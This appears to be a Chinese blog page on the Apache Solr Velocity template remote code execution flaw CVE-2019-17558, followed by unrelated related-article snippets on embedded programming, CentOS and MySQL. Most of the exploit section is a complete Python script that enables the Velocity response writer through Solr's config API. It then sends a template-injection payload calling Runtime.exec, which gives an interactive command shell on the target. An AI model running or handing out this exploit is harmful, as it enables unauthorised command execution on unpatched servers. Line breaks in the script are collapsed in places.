当前位置: 首页 > news >正文

solr 远程命令执行 (CVE-2019-17558)

漏洞描述

        Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。

执行漏洞py脚本,取得shell连接

F:\exphub-master\solr>python cve-2019-17558_cmd.py

EXP

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub
# telegram:t.me/zhzykerimport requests
import sys
import jsonif len(sys.argv)!=2:print('+------------------------------------------------------------+')print('+ DES: by zhzyker as https://github.com/zhzyker/exphub       +')print('+      Apache Solr Velocity Commons Remote Code Execution    +')print('+------------------------------------------------------------+')print('+ USE: python3 cve-2019-17558_cmd.py <url>                   +')print('+ EXP: python3 cve-2019-17558_cmd.py http://1.1.1.1:8983     +')print('+ VER: Apache Solr 5.0.0 - 8.3.1                             +')print('+------------------------------------------------------------+')sys.exit(0)url = sys.argv[1]core_url = url + "/solr/admin/cores?indexInfo=false&wt=json"
try:r = requests.request("GET", url=core_url, timeout=10)core_name = list(json.loads(r.text)["status"])[0]print ("[+] GET API: "+url+"/solr/"+core_name+"/config")
except:print ("[-] Target Not Vuln Good Luck")sys.exit(0)api_url = url + "/solr/" +core_name+ "/config"
headers = {"Content-Type": "application/json"}
set_api_data ="""
{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
}
"""
api = requests.request("POST", url=api_url, data=set_api_data, headers=headers)
code = str(api.status_code)
if api.status_code == 200:print ("[+] <HTTP" +code+ "> SET API Success")
else:print ("[-] <HTTP" +code+ "> SET API Failed Good Luck")sys.exit(0)def do_exp(cmd):vuln_url = url+"/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"r = requests.request("GET", vuln_url)print (r.text)while 1:cmd = input("Shell >>> ")if cmd == "exit" : exit(0)do_exp(cmd)

相关文章:

solr 远程命令执行 (CVE-2019-17558)

漏洞描述 Apache Velocity是一个基于Java的模板引擎&#xff0c;它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目&#xff0c;旨在确保Web应用程序在表示层和业务逻辑层之间的隔离&#xff08;即MVC设计模式&#xff09;。 Apa…...

STM32端口模拟编码器输入

文章目录 前言一、正交编码器是什么&#xff1f;二、使用步骤2.1开启时钟2.2配置编码器引脚 TIM3 CH1(PA6) CH2 (PA7)上拉输入2.3.初始化编码器时基2.4 初始化编码器输入2.5 配置编码器接口2.6 开启定时器2.7获取编码器数据 三、参考程序四、测试结果4.1测试方法4.2串口输出结果…...

Centos 8, add repo

Centos repo前言 Centos 8更换在线阿里云创建一键更换repo 自动化脚本 华为Centos 源 , 阿里云Centos 源 华为epel 源 , 阿里云epel 源vim /centos8_repo.sh #!/bin/bash # -*- coding: utf-8 -*- # Author: make.han...

MYSQL- 查看存储过程调式信息语句(二十七)

13.7.5.27 SHOW PROCEDURE CODE 语句 SHOW PROCEDURE CODE proc_name此语句是MySQL扩展&#xff0c;仅适用于已构建有调试支持的服务器。它显示了命名存储过程的内部实现的表示。类似的语句SHOW FUNCTION CODE显示有关存储函数的信息&#xff08;见第13.7.5.19节“SHOW FUNTIO…...

C#基础上机练习题

21.计算500-800区间内素数的个数cn&#xff0c;并按所求素数的值从大到小的顺序排列&#xff0c;再计算其间隔加、减之和&#xff0c;即第1个素数-第2个素数第3个素数-第4个素数第5个素数……的值sum。请编写函数实现程序的要求&#xff0c;把结果cn和sum输出。 22.在三位整数…...

5.5 W5500 TCP服务端与客户端

文章目录 1、TCP介绍2、W5500简介2.1 关键函数socketlistensendgetSn_RX_RSRrecv自动心跳包检测getSn_SR 1、TCP介绍 TCP 服务端&#xff1a; 创建套接字[socket]&#xff1a;服务器首先创建一个套接字&#xff0c;这是网络通信的端点。绑定套接字[bind]&#xff1a;服务器将…...

一区北方苍鹰算法优化+创新改进Transformer!NGO-Transformer-LSTM多变量回归预测

一区北方苍鹰算法优化创新改进Transformer&#xff01;NGO-Transformer-LSTM多变量回归预测 目录 一区北方苍鹰算法优化创新改进Transformer&#xff01;NGO-Transformer-LSTM多变量回归预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab NGO-Transformer-LST…...

深入理解 MyBatis 的缓存机制:一级缓存与二级缓存

MyBatis 是目前 Java 开发中常用的一种 ORM&#xff08;对象关系映射&#xff09;框架&#xff0c;它不仅简化了 SQL 语句的编写和管理&#xff0c;还提供了强大的缓存机制&#xff0c;用以提高数据库访问的性能。MyBatis 的缓存分为一级缓存和二级缓存&#xff0c;分别应用于不…...

移远通信推出全新5G RedCap模组RG255AA系列,以更高性价比加速5G轻量化大规模商用

11月20&#xff0c;全球领先的物联网整体解决方案供应商移远通信宣布&#xff0c;正式推出其全新5G RedCap模组RG255AA系列。该系列模组支持5G NR独立组网&#xff08;SA&#xff09;和LTE Cat 4双模通信&#xff0c;具有高性能高集成度、低功耗、小尺寸、高性价比等优势&#…...

架构-微服务-环境搭建

文章目录 前言一、案例准备1. 技术选型2. 模块设计3. 微服务调用 二、创建父工程三、创建基础模块四、创建用户微服务五、创建商品微服务六、创建订单微服务 前言 ‌微服务环境搭建‌ 使用的电商项目中的商品、订单、用户为案例进行讲解。 一、案例准备 1. 技术选型 maven&a…...

conda下载与pip下载的区别

一、conda下载与pip下载的区别 最重要是依赖关系&#xff1a; pip安装包时&#xff0c;尽管也对当前包的依赖做检查&#xff0c;但是并不保证当前环境的所有包的所有依赖关系都同时满足。 当某个环境所安装的包越来越多&#xff0c;产生冲突的可能性就越来越大。conda会检查当…...

MySQL获取数据库内所有表格数据总数

在 MySQL 中&#xff0c;要获取数据库内所有表格的数据总数&#xff0c;可以编写一个查询脚本来遍历每个表并计算其行数。你可以使用 INFORMATION_SCHEMA 数据库&#xff0c;它包含了关于数据库元数据的表格&#xff0c;如 TABLES 和 COLUMNS。 以下是一个示例脚本&#xff0c…...

Matlab 深度学习工具箱 案例学习与测试————求二阶微分方程

clc clear% 定义输入变量 x linspace(0,2,10000);% 定义网络的层参数 inputSize 1; layers [featureInputLayer(inputSize,Normalization"none")fullyConnectedLayer(10)sigmoidLayerfullyConnectedLayer(1)sigmoidLayer]; % 创建网络 net dlnetwork(layers);% 训…...

django authentication 登录注册

文章目录 前言一、django配置二、后端实现1.新建app2.编写view3.配置路由 三、前端编写1、index.html2、register.html3、 login.html 总结 前言 之前&#xff0c;写了django制作简易登录系统&#xff0c;这次利用django内置的authentication功能实现注册、登录 提示&#xff…...

三种蓝牙架构实现方案

一、蓝牙架构方案 1、hostcontroller双芯片标准架构 手机里面包含很多SoC或者模块&#xff0c;每颗SoC或者模块都有自己独有的功能&#xff0c;比如手机应用跑在AP芯片上&#xff0c;显示屏&#xff0c;3G/4G通信&#xff0c;WiFi/蓝牙等都有自己专门的SoC或者模块&#xff0…...

ffmpeg 视频滤镜:高斯模糊-gblur

滤镜描述 gblur 官网地址 > FFmpeg Filters Documentation 这个滤镜会将视频变得模糊。 滤镜使用 参数 gblur AVOptions:sigma <float> ..FV.....T. set sigma (from 0 to 1024) (default 0.5)steps <int> ..FV.....T…...

期权懂|在期权市场中,如何用好双买期权?

期权小懂每日分享期权知识&#xff0c;帮助期权新手及时有效地掌握即市趋势与新资讯&#xff01; 在期权市场中&#xff0c;如何用好双买期权&#xff1f; 期权双买操作&#xff0c;即同时买入认购期权&#xff08;看涨期权&#xff09;和认沽期权&#xff08;看跌期权&#xf…...

【Linux学习】【Ubuntu入门】2-3 make工具和makefile引入

1.使用命令新建三个.c文件vi main.c&#xff0c;vi input.c&#xff0c;vi caclcu.c&#xff0c;两个.h文件vi input.h&#xff0c;vi caclcu.h 2.vi Makefile&#xff1a;新建Makefile文件&#xff0c;输入一下内容 注意&#xff1a;命令列表中每条命令前用TAB键&#xff0c;不…...

《黑神话:悟空》游戏辅助修改器工具下载指南与操作方法详解

《黑神话&#xff1a;悟空》是一款备受期待的动作冒险游戏&#xff0c;目前尚未正式发布。游戏开发团队一直在强调游戏的完整性和公平性&#xff0c;因此官方并不支持任何形式的作弊或修改行为。然而&#xff0c;对于一些玩家而言&#xff0c;使用辅助修改器可能会成为他们体验…...

C语言菜鸟入门·关键字·union的用法

目录 1. 简介 2. 访问成员 2.1 声明 2.2 赋值 3. 共用体的大小 4. 与typedef联合使用 5. 更多关键字 1. 简介 共用体&#xff08;union&#xff09;是一种数据结构&#xff0c;它允许在同一内存位置存储不同的数据类型&#xff0c;但每次只能存储其中一种类型的…...

WSABuilds旧版本归档:如何获取v2311及更早版本安装包

WSABuilds旧版本归档&#xff1a;如何获取v2311及更早版本安装包 【免费下载链接】WSABuilds Run Windows Subsystem For Android on your Windows 10 and Windows 11 PC using prebuilt binaries with Google Play Store (MindTheGapps) and/or Magisk or KernelSU (root solu…...

LFM2.5-1.2B-Thinking-GGUF实操手册:自定义system prompt提升领域适配性

LFM2.5-1.2B-Thinking-GGUF实操手册&#xff1a;自定义system prompt提升领域适配性 1. 模型简介与核心优势 LFM2.5-1.2B-Thinking-GGUF是Liquid AI推出的轻量级文本生成模型&#xff0c;专为低资源环境优化设计。该模型采用GGUF格式和llama.cpp运行时&#xff0c;在保持高性…...

Connect to Oracle Database with JDBC Driver

1. Overview The Oracle Database is one of the most popular relational databases. In this tutorial, we’ll learn how to connect to an Oracle Database using a JDBC Driver. 2. The Database To get us started, we need a database. If we don’t have access to …...

轻量级二维码工具性能优化:从加载到部署的全流程实践

轻量级二维码工具性能优化&#xff1a;从加载到部署的全流程实践 【免费下载链接】qrcodejs Cross-browser QRCode generator for javascript 项目地址: https://gitcode.com/gh_mirrors/qr/qrcodejs 二维码生成功能已成为现代Web应用的常见需求&#xff0c;但传统实现方…...

Pikachu靶场实战:SQL注入漏洞深度解析与防御指南

1. SQL注入漏洞初探&#xff1a;从Pikachu靶场开始 第一次接触SQL注入时&#xff0c;我完全被这种"通过输入框就能控制数据库"的神奇攻击方式震惊了。在Pikachu靶场这个专为Web安全学习设计的实验环境中&#xff0c;我们可以安全地体验各种SQL注入攻击手法。不同于真…...

告别设备标识混乱!用uniappx插件Ba-IdCode-U一站式获取OAID/AndroidID/IMEI(附隐私合规指南)

跨平台开发者的设备标识管理实战&#xff1a;从混乱到合规的完整解决方案 每次启动新项目时&#xff0c;开发者们是否总在纠结该用哪种设备标识&#xff1f;OAID、AndroidID还是IMEI&#xff1f;国内厂商的兼容性问题怎么解决&#xff1f;隐私合规的红线又在哪里&#xff1f;本…...

效率提升秘籍:用快马平台一键生成21届智能车优化算法模块

提升21届智能车开发效率的实战经验分享 最近在准备21届智能车比赛时&#xff0c;我发现传统开发方式存在不少效率瓶颈。从底层驱动到算法框架&#xff0c;每个环节都需要大量时间调试&#xff0c;而比赛周期又非常紧张。经过反复摸索&#xff0c;我总结出一套能显著提升开发效…...

MATLAB图像处理实战:用imfindcircles快速定位硬币边缘(附完整代码)

MATLAB图像处理实战&#xff1a;用imfindcircles快速定位硬币边缘&#xff08;附完整代码&#xff09; 在工业检测和医学影像分析中&#xff0c;圆形物体的精准定位往往是关键的第一步。无论是生产线上的硬币质量检查&#xff0c;还是显微镜下的细胞计数&#xff0c;快速准确地…...

42-西门子1200伺服控制5轴程序 程序采用1200系列PLC,项目实现以下功能: (1)

42-西门子1200伺服控制5轴程序 程序采用1200系列PLC&#xff0c;项目实现以下功能&#xff1a; &#xff08;1&#xff09;.三轴机械手联动取放料PTO脉冲定位控制台达B2伺服 &#xff08;2&#xff09;.台达伺服速度模式应用扭矩模式应用实现收放卷 &#xff08;3&#xff09;.…...

cutlass代码架构分析

CUTLASS 代码架构分析 本文档基于 cutlass代码进行梳理,快速理解 CUTLASS 4.x 的模块边界与调用链路。 1. 总体架构 CUTLASS 本质上是一个 header-only 的 CUDA C++ 模板库,外围配套了可选构建目标: include/:核心库(cutlass + cute) tools/:库实例化、性能测试与通用…...